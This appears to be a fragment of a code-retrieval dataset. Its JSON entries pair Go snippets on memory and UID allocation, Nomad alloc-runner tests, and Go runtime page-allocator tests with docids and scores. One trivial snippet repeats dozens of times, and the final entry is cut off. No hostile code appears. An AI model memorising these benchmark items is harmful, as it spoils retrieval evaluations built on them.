{\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" } ]
48f44d8366f7ad2eeb1f191e2c6dec43
RunOnce verifies the state of allocations and returns an error if an unrecoverable problem occurs.
[ { "docid": "ed5ae5433d55f1972fcb6d6648036711", "score": "0.5677212", "text": "func (c *Repair) RunOnce() error {\n\t// TODO: (per smarterclayton) if Get() or List() is a weak consistency read,\n\t// or if they are executed against different leaders,\n\t// the ordering guarantee required to ensure no item is allocated twice is violated.\n\t// List must return a ResourceVersion higher than the etcd index Get,\n\t// and the release code must not release items that have allocated but not yet been created\n\t// See #8295\n\n\tlatest, err := c.alloc.Get()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to refresh the security allocation UID blocks: %v\", err)\n\t}\n\n\tlist, err := c.client.List(metav1.ListOptions{})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to refresh the security allocation UID blocks: %v\", err)\n\t}\n\n\tuids := uidallocator.NewInMemory(c.uidRange)\n\n\tfor _, ns := range list.Items {\n\t\tvalue, ok := ns.Annotations[security.UIDRangeAnnotation]\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tblock, err := uid.ParseBlock(value)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tswitch err := uids.Allocate(block); err {\n\t\tcase nil:\n\t\tcase uidallocator.ErrNotInRange, uidallocator.ErrAllocated:\n\t\t\tcontinue\n\t\tcase uidallocator.ErrFull:\n\t\t\t// TODO: send event\n\t\t\treturn fmt.Errorf(\"the UID range %s is full; you must widen the range in order to allocate more UIDs\", c.uidRange)\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"unable to allocate UID block %s for namespace %s due to an unknown error, exiting: %v\", block, ns.Name, err)\n\t\t}\n\t}\n\n\terr = uids.Snapshot(latest)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to persist the updated namespace UID allocations: %v\", err)\n\t}\n\n\tif err := c.alloc.CreateOrUpdate(latest); err != nil {\n\t\treturn fmt.Errorf(\"unable to persist the updated namespace UID allocations: %v\", err)\n\t}\n\treturn nil\n}", "title": "" } ]
[ { "docid": "40cec1f33bc3d8222e02fb2d70a47b4e", "score": "0.5703185", "text": "func ShouldNotAllocate(t *testing.T, f func()) {\n\tif Race {\n\t\tt.Skip(\"skip while running with -race\")\n\t\treturn\n\t}\n\tif a := testing.AllocsPerRun(10, f); a > 0 {\n\t\tt.Errorf(\"Allocations detected: %f\", a)\n\t}\n}", "title": "" }, { "docid": "f5faa0be96ff7ab26e15fe5843599c1f", "score": "0.5299217", "text": "func TestAllocRunner_PreStartFailuresLeadToFailed(t *testing.T) {\n\tci.Parallel(t)\n\n\talloc := mock.Alloc()\n\talloc.Job.Type = structs.JobTypeBatch\n\ttask := alloc.Job.TaskGroups[0].Tasks[0]\n\ttask.Driver = \"mock_driver\"\n\ttask.Config = map[string]interface{}{\n\t\t\"run_for\": \"2ms\",\n\t}\n\trp := &structs.RestartPolicy{Attempts: 0}\n\talloc.Job.TaskGroups[0].RestartPolicy = rp\n\ttask.RestartPolicy = rp\n\n\tconf, cleanup := testAllocRunnerConfig(t, alloc.Copy())\n\tdefer cleanup()\n\n\t// Maintain state for subsequent run\n\tconf.StateDB = state.NewMemDB(conf.Logger)\n\n\t// Start and wait for task to be running\n\tar, err := NewAllocRunner(conf)\n\trequire.NoError(t, err)\n\n\tar.runnerHooks = append(ar.runnerHooks, &allocFailingPrestartHook{})\n\n\tgo ar.Run()\n\tdefer destroy(ar)\n\n\tselect {\n\tcase <-ar.WaitCh():\n\tcase <-time.After(10 * time.Second):\n\t\trequire.Fail(t, \"alloc.waitCh wasn't closed\")\n\t}\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\ts := ar.AllocState()\n\t\tif s.ClientStatus != structs.AllocClientStatusFailed {\n\t\t\treturn false, fmt.Errorf(\"expected complete, got %s\", s.ClientStatus)\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\trequire.NoError(t, err)\n\t})\n\n\t// once job finishes, it shouldn't run again\n\trequire.False(t, ar.shouldRun())\n\tinitialRunEvents := ar.AllocState().TaskStates[task.Name].Events\n\trequire.Len(t, initialRunEvents, 2)\n\n\tls, ts, err := conf.StateDB.GetTaskRunnerState(alloc.ID, task.Name)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ls)\n\trequire.NotNil(t, ts)\n\trequire.Equal(t, structs.TaskStateDead, ts.State)\n\trequire.True(t, ts.Failed)\n\n\t// TR waitCh must be closed too!\n\tselect {\n\tcase <-ar.tasks[task.Name].WaitCh():\n\tcase <-time.After(10 * time.Second):\n\t\trequire.Fail(t, \"tr.waitCh wasn't closed\")\n\t}\n}", "title": "" }, { "docid": "761cb02295afadc7b678bebfadd182c8", "score": "0.5133443", "text": "func _439sqlite3MallocAlarm(tls *crt.TLS, _nByte int32) {\n\tif (*(*Tsqlite3_int64)(unsafe.Pointer(_108mem0 + 4))) > Tsqlite3_int64(0) {\n\t\tgoto _1\n\t}\n\n\treturn\n\n_1:\n\tXsqlite3_mutex_leave(tls, *(*uintptr)(unsafe.Pointer(_108mem0)))\n\tXsqlite3_release_memory(tls, _nByte)\n\tXsqlite3_mutex_enter(tls, *(*uintptr)(unsafe.Pointer(_108mem0)))\n}", "title": "" }, { "docid": "269bca93207b2b49c484b7623f4ae87b", "score": "0.5106717", "text": "func AssertNoMemoryLeaks(t *testing.T) {\n\tt.Helper()\n\n\tcurrent, _, err := StatusMallocCount(true)\n\trequire.NoError(t, err)\n\n\tassert.Equal(t, 0, current, \"malloc count leak\")\n\n\tcurrent, _, err = StatusMemoryUsed(true)\n\trequire.NoError(t, err)\n\n\tassert.Equal(t, 0, current, \"memory leak\")\n}", "title": "" }, { "docid": "b6465198cc9b20d9eff10a237737a5b4", "score": "0.5060661", "text": "func TestAllocRunner_DeploymentHealth_Unhealthy_BadStart(t *testing.T) {\n\tt.Parallel()\n\tassert := assert.New(t)\n\n\t// Ensure the task fails and restarts\n\tupd, ar := testAllocRunner(t, true)\n\n\t// Make the task fail\n\ttask := ar.alloc.Job.TaskGroups[0].Tasks[0]\n\ttask.Driver = \"mock_driver\"\n\ttask.Config[\"start_error\"] = \"test error\"\n\n\t// Make the alloc be part of a deployment\n\tar.alloc.DeploymentID = uuid.Generate()\n\tar.alloc.Job.TaskGroups[0].Update = structs.DefaultUpdateStrategy.Copy()\n\tar.alloc.Job.TaskGroups[0].Update.HealthCheck = structs.UpdateStrategyHealthCheck_TaskStates\n\tar.alloc.Job.TaskGroups[0].Update.MaxParallel = 1\n\n\tgo ar.Run()\n\tdefer ar.Destroy()\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tlast := upd.Last()\n\t\tif last == nil {\n\t\t\treturn false, fmt.Errorf(\"No updates\")\n\t\t}\n\t\tif !last.DeploymentStatus.HasHealth() {\n\t\t\treturn false, fmt.Errorf(\"want deployment status unhealthy; got unset\")\n\t\t} else if *last.DeploymentStatus.Healthy {\n\t\t\treturn false, fmt.Errorf(\"want deployment status unhealthy; got healthy\")\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\tt.Fatalf(\"err: %v\", err)\n\t})\n\n\t// Assert that we have an event explaining why we are unhealthy.\n\tassert.Len(ar.taskStates, 1)\n\tstate := ar.taskStates[task.Name]\n\tassert.NotNil(state)\n\tassert.NotEmpty(state.Events)\n\tlast := state.Events[len(state.Events)-1]\n\tassert.Equal(allocHealthEventSource, last.Type)\n\tassert.Contains(last.Message, \"failed task\")\n}", "title": "" }, { "docid": "88893955acc8d06e5e47d57233a90a5c", "score": "0.505494", "text": "func (e ErrNilAllocator) BadRequest() {}", "title": "" }, { "docid": "780b489fcf4d362fe9c76fd3a1fc0d9f", "score": "0.5049317", "text": "func TestPageAllocScavenge(t *testing.T) {\n\tif GOOS == \"openbsd\" && testing.Short() {\n\t\tt.Skip(\"skipping because virtual memory is limited; see #36210\")\n\t}\n\ttype test struct {\n\t\trequest, expect uintptr\n\t}\n\tminPages := PhysPageSize / PageSize\n\tif minPages < 1 {\n\t\tminPages = 1\n\t}\n\ttype setup struct {\n\t\tbeforeAlloc map[ChunkIdx][]BitRange\n\t\tbeforeScav map[ChunkIdx][]BitRange\n\t\texpect []test\n\t\tafterScav map[ChunkIdx][]BitRange\n\t}\n\ttests := map[string]setup{\n\t\t\"AllFreeUnscavExhaust\": {\n\t\t\tbeforeAlloc: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t\tBaseChunkIdx + 1: {},\n\t\t\t\tBaseChunkIdx + 2: {},\n\t\t\t},\n\t\t\tbeforeScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t\tBaseChunkIdx + 1: {},\n\t\t\t\tBaseChunkIdx + 2: {},\n\t\t\t},\n\t\t\texpect: []test{\n\t\t\t\t{^uintptr(0), 3 * PallocChunkPages * PageSize},\n\t\t\t},\n\t\t\tafterScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{0, PallocChunkPages}},\n\t\t\t\tBaseChunkIdx + 1: {{0, PallocChunkPages}},\n\t\t\t\tBaseChunkIdx + 2: {{0, PallocChunkPages}},\n\t\t\t},\n\t\t},\n\t\t\"NoneFreeUnscavExhaust\": {\n\t\t\tbeforeAlloc: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{0, PallocChunkPages}},\n\t\t\t\tBaseChunkIdx + 1: {},\n\t\t\t\tBaseChunkIdx + 2: {{0, PallocChunkPages}},\n\t\t\t},\n\t\t\tbeforeScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t\tBaseChunkIdx + 1: {{0, PallocChunkPages}},\n\t\t\t\tBaseChunkIdx + 2: {},\n\t\t\t},\n\t\t\texpect: []test{\n\t\t\t\t{^uintptr(0), 0},\n\t\t\t},\n\t\t\tafterScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t\tBaseChunkIdx + 1: {{0, PallocChunkPages}},\n\t\t\t\tBaseChunkIdx + 2: {},\n\t\t\t},\n\t\t},\n\t\t\"ScavHighestPageFirst\": {\n\t\t\tbeforeAlloc: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t},\n\t\t\tbeforeScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{uint(minPages), PallocChunkPages - uint(2*minPages)}},\n\t\t\t},\n\t\t\texpect: []test{\n\t\t\t\t{1, minPages * PageSize},\n\t\t\t},\n\t\t\tafterScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{uint(minPages), PallocChunkPages - uint(minPages)}},\n\t\t\t},\n\t\t},\n\t\t\"ScavMultiple\": {\n\t\t\tbeforeAlloc: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t},\n\t\t\tbeforeScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{uint(minPages), PallocChunkPages - uint(2*minPages)}},\n\t\t\t},\n\t\t\texpect: []test{\n\t\t\t\t{minPages * PageSize, minPages * PageSize},\n\t\t\t\t{minPages * PageSize, minPages * PageSize},\n\t\t\t},\n\t\t\tafterScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{0, PallocChunkPages}},\n\t\t\t},\n\t\t},\n\t\t\"ScavMultiple2\": {\n\t\t\tbeforeAlloc: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t\tBaseChunkIdx + 1: {},\n\t\t\t},\n\t\t\tbeforeScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{uint(minPages), PallocChunkPages - uint(2*minPages)}},\n\t\t\t\tBaseChunkIdx + 1: {{0, PallocChunkPages - uint(2*minPages)}},\n\t\t\t},\n\t\t\texpect: []test{\n\t\t\t\t{2 * minPages * PageSize, 2 * minPages * PageSize},\n\t\t\t\t{minPages * PageSize, minPages * PageSize},\n\t\t\t\t{minPages * PageSize, minPages * PageSize},\n\t\t\t},\n\t\t\tafterScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{0, PallocChunkPages}},\n\t\t\t\tBaseChunkIdx + 1: {{0, PallocChunkPages}},\n\t\t\t},\n\t\t},\n\t\t\"ScavDiscontiguous\": {\n\t\t\tbeforeAlloc: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t\tBaseChunkIdx + 0xe: {},\n\t\t\t},\n\t\t\tbeforeScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{uint(minPages), PallocChunkPages - uint(2*minPages)}},\n\t\t\t\tBaseChunkIdx + 0xe: {{uint(2 * minPages), PallocChunkPages - uint(2*minPages)}},\n\t\t\t},\n\t\t\texpect: []test{\n\t\t\t\t{2 * minPages * PageSize, 2 * minPages * PageSize},\n\t\t\t\t{^uintptr(0), 2 * minPages * PageSize},\n\t\t\t\t{^uintptr(0), 0},\n\t\t\t},\n\t\t\tafterScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{0, PallocChunkPages}},\n\t\t\t\tBaseChunkIdx + 0xe: {{0, PallocChunkPages}},\n\t\t\t},\n\t\t},\n\t}\n\t// Disable these tests on iOS since we have a small address space.\n\t// See #46860.\n\tif PageAlloc64Bit != 0 && goos.IsIos == 0 {\n\t\ttests[\"ScavAllVeryDiscontiguous\"] = setup{\n\t\t\tbeforeAlloc: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t\tBaseChunkIdx + 0x1000: {},\n\t\t\t},\n\t\t\tbeforeScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {},\n\t\t\t\tBaseChunkIdx + 0x1000: {},\n\t\t\t},\n\t\t\texpect: []test{\n\t\t\t\t{^uintptr(0), 2 * PallocChunkPages * PageSize},\n\t\t\t\t{^uintptr(0), 0},\n\t\t\t},\n\t\t\tafterScav: map[ChunkIdx][]BitRange{\n\t\t\t\tBaseChunkIdx: {{0, PallocChunkPages}},\n\t\t\t\tBaseChunkIdx + 0x1000: {{0, PallocChunkPages}},\n\t\t\t},\n\t\t}\n\t}\n\tfor name, v := range tests {\n\t\tv := v\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tb := NewPageAlloc(v.beforeAlloc, v.beforeScav)\n\t\t\tdefer FreePageAlloc(b)\n\n\t\t\tfor iter, h := range v.expect {\n\t\t\t\tif got := b.Scavenge(h.request); got != h.expect {\n\t\t\t\t\tt.Fatalf(\"bad scavenge #%d: want %d, got %d\", iter+1, h.expect, got)\n\t\t\t\t}\n\t\t\t}\n\t\t\twant := NewPageAlloc(v.beforeAlloc, v.afterScav)\n\t\t\tdefer FreePageAlloc(want)\n\n\t\t\tcheckPageAlloc(t, want, b)\n\t\t})\n\t}\n}", "title": "" }, { "docid": "f3e737fcb1ac670763176336aa0854b6", "score": "0.49604058", "text": "func (a Allocation) Valid() error {\n\tif len(a.Assets) == 0 || len(a.Balances) == 0 {\n\t\treturn errors.New(\"assets and participant balances must not be of length zero (or nil)\")\n\t}\n\tif len(a.Assets) > MaxNumAssets || len(a.Locked) > MaxNumSubAllocations {\n\t\treturn errors.New(\"too many assets or sub-allocations\")\n\t}\n\n\tn := len(a.Assets)\n\n\tif len(a.Balances) != n {\n\t\treturn errors.Errorf(\"dimension mismatch: number of Assets: %d vs Balances: %d\", n, len(a.Balances))\n\t}\n\n\tnumParts := len(a.Balances[0])\n\tif numParts <= 0 || numParts > MaxNumParts {\n\t\treturn errors.Errorf(\"number of participants is zero or too large\")\n\t}\n\n\tfor i, asset := range a.Balances {\n\t\tif len(asset) != numParts {\n\t\t\treturn errors.Errorf(\"%d participants for asset %d, expected %d\", len(asset), i, numParts)\n\t\t}\n\t\tfor j, bal := range asset {\n\t\t\tif bal.Sign() == -1 {\n\t\t\t\treturn errors.Errorf(\"balance[%d][%d] is negative: got %v\", i, j, bal)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Locked is allowed to have zero length, in which case there's nothing locked\n\t// and the loop is empty.\n\tfor _, l := range a.Locked {\n\t\tif err := l.Valid(); err != nil {\n\t\t\treturn errors.WithMessage(err, \"invalid sub-allocation\")\n\t\t}\n\t\tif len(l.Bals) != n {\n\t\t\treturn errors.Errorf(\"dimension mismatch of app-channel balance vector (ID: %x): got %d, expected %d\", l.ID, l.Bals, n)\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "cef24eba1346573ad53dc69a6e1dfa54", "score": "0.4888993", "text": "func verifyBundleCorrectness(instancesStates []*state.InstancesState) error {\n\tconst uninitialized int32 = -1\n\texpectedReplicaCount := uninitialized\n\tfor j := range instancesStates {\n\t\tif expectedReplicaCount != uninitialized && instancesStates[j].CurrentReplicaCount != expectedReplicaCount {\n\t\t\treturn fmt.Errorf(\"bundle error: %s has %d replicas while %s has %d\",\n\t\t\t\tinstancesStates[j].Object.Basename,\n\t\t\t\tinstancesStates[j].CurrentReplicaCount,\n\t\t\t\tinstancesStates[j-1].Object.Basename,\n\t\t\t\tinstancesStates[j-1].CurrentReplicaCount)\n\t\t}\n\t\texpectedReplicaCount = instancesStates[j].CurrentReplicaCount\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "32884e9e3466e558eda1fd0f038c299b", "score": "0.483678", "text": "func (doMemory Memory) PrepareForLeakDetection() (err error) {\n\tb := memory.PrepareForLeakDetection()\n\treturn b.Do(doMemory.ctxWithExecutor)\n}", "title": "" }, { "docid": "a117e404087c987f05d8156b787c3738", "score": "0.48161003", "text": "func TryMalloc(nBytes uint64) uintptr {\n\tc_n_bytes := (C.gsize)(nBytes)\n\n\tretC := C.g_try_malloc(c_n_bytes)\n\tretGo := (uintptr)(unsafe.Pointer(retC))\n\n\treturn retGo\n}", "title": "" }, { "docid": "c2ce6c2f4a98f9e10ba2b5efae9f46cb", "score": "0.4795595", "text": "func MustMalloc(size int) uintptr {\n\tp, err := Malloc(size)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"out of memory: %v\", err))\n\t}\n\n\treturn p\n}", "title": "" }, { "docid": "c05fd91aa814cece795ae5942a2f2192", "score": "0.47944576", "text": "func TestAlreadyAllocatedAddress(t *testing.T) {\n\ti := setup(t, newDefaultConfig())\n\tip, err := i.AllocatePodIP(podID[0], \"\", \"\")\n\tExpect(err).To(BeNil())\n\tExpect(ip).NotTo(BeNil())\n\tExpect(i.PodSubnetThisNode(defaultPodNetworkName).Contains(ip)).To(BeTrue(),\n\t\t\"Pod IP address is not from pod network\")\n\n\trepeated, err := i.AllocatePodIP(podID[0], \"\", \"\")\n\tExpect(err).To(BeNil())\n\tExpect(repeated).NotTo(BeNil())\n\tExpect(bytes.Compare(repeated, ip)).To(BeZero())\n\n\terr = i.ReleasePodIPs(podID[0])\n\tExpect(err).To(BeNil())\n}", "title": "" }, { "docid": "3016a598505f84b1e07370fce4118228", "score": "0.47641078", "text": "func (p *program) ensureAddr(addr int) {\n\textend := addr - len(p.mem) + 1\n\tif addr >= len(p.mem) {\n\t\tp.mem = append(p.mem, make([]int, extend)...)\n\t}\n}", "title": "" }, { "docid": "ffbd3729d8161a535fbc31616aea7384", "score": "0.47568604", "text": "func alloc() uint64 {\n\tvar stats runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(&stats)\n\t// return stats.Alloc - uint64(unsafe.Sizeof(hs[0]))*uint64(cap(hs))\n\treturn stats.Alloc\n}", "title": "" }, { "docid": "f70a3ed65e0d6056f1b4a89ceeb31e43", "score": "0.4754351", "text": "func mallocgc(size uintptr, typ unsafe.Pointer, needzero bool) unsafe.Pointer", "title": "" }, { "docid": "42ba95c2967f7006c46e7158a3052dbc", "score": "0.47542948", "text": "func TestAllocRunner_DeploymentHealth_Unhealthy_Checks(t *testing.T) {\n\tt.Parallel()\n\tassert := assert.New(t)\n\n\t// Ensure the task fails and restarts\n\tupd, ar := testAllocRunner(t, true)\n\n\t// Make the task fail\n\ttask := ar.alloc.Job.TaskGroups[0].Tasks[0]\n\ttask.Driver = \"mock_driver\"\n\ttask.Config[\"run_for\"] = \"10s\"\n\n\t// Make the alloc be part of a deployment\n\tar.alloc.DeploymentID = uuid.Generate()\n\tar.alloc.Job.TaskGroups[0].Update = structs.DefaultUpdateStrategy.Copy()\n\tar.alloc.Job.TaskGroups[0].Update.HealthCheck = structs.UpdateStrategyHealthCheck_Checks\n\tar.alloc.Job.TaskGroups[0].Update.MaxParallel = 1\n\tar.alloc.Job.TaskGroups[0].Update.MinHealthyTime = 100 * time.Millisecond\n\tar.alloc.Job.TaskGroups[0].Update.HealthyDeadline = 1 * time.Second\n\n\tcheckUnhealthy := &api.AgentCheck{\n\t\tCheckID: uuid.Generate(),\n\t\tStatus: api.HealthWarning,\n\t}\n\n\t// Only return the check as healthy after a duration\n\tar.consulClient.(*mockConsulServiceClient).allocRegistrationsFn = func(allocID string) (*consul.AllocRegistration, error) {\n\t\treturn &consul.AllocRegistration{\n\t\t\tTasks: map[string]*consul.TaskRegistration{\n\t\t\t\ttask.Name: {\n\t\t\t\t\tServices: map[string]*consul.ServiceRegistration{\n\t\t\t\t\t\t\"123\": {\n\t\t\t\t\t\t\tService: &api.AgentService{Service: \"foo\"},\n\t\t\t\t\t\t\tChecks: []*api.AgentCheck{checkUnhealthy},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}, nil\n\t}\n\n\tgo ar.Run()\n\tdefer ar.Destroy()\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tlast := upd.Last()\n\t\tif last == nil {\n\t\t\treturn false, fmt.Errorf(\"No updates\")\n\t\t}\n\t\tif !last.DeploymentStatus.HasHealth() {\n\t\t\treturn false, fmt.Errorf(\"want deployment status unhealthy; got unset\")\n\t\t} else if *last.DeploymentStatus.Healthy {\n\t\t\treturn false, fmt.Errorf(\"want deployment status unhealthy; got healthy\")\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\tt.Fatalf(\"err: %v\", err)\n\t})\n\n\t// Assert that we have an event explaining why we are unhealthy.\n\tassert.Len(ar.taskStates, 1)\n\tstate := ar.taskStates[task.Name]\n\tassert.NotNil(state)\n\tassert.NotEmpty(state.Events)\n\tlast := state.Events[len(state.Events)-1]\n\tassert.Equal(allocHealthEventSource, last.Type)\n\tassert.Contains(last.Message, \"Services not healthy by deadline\")\n}", "title": "" }, { "docid": "985d3a762629b78a0046b8a607b1cb2b", "score": "0.47537613", "text": "func (s SubAlloc) Valid() error {\n\tif len(s.Bals) > MaxNumAssets {\n\t\treturn errors.New(\"too many bals\")\n\t}\n\tfor j, bal := range s.Bals {\n\t\tif bal.Sign() == -1 {\n\t\t\treturn errors.Errorf(\"suballoc[%d] of ID %d is negative: got %v\", j, s.ID, bal)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f232910e26c540fc41245df5d7387742", "score": "0.47468823", "text": "func TestDistinctAllocations(t *testing.T) {\n\ti := setup(t, newDefaultConfig())\n\tassertAllocationOfAllIPAddresses(i, 4, expectedPodNetwork)\n\tassertCorrectIPExhaustion(i, 4)\n}", "title": "" }, { "docid": "7e688e33e5b80a1c233cd806efe06dcc", "score": "0.47446302", "text": "func 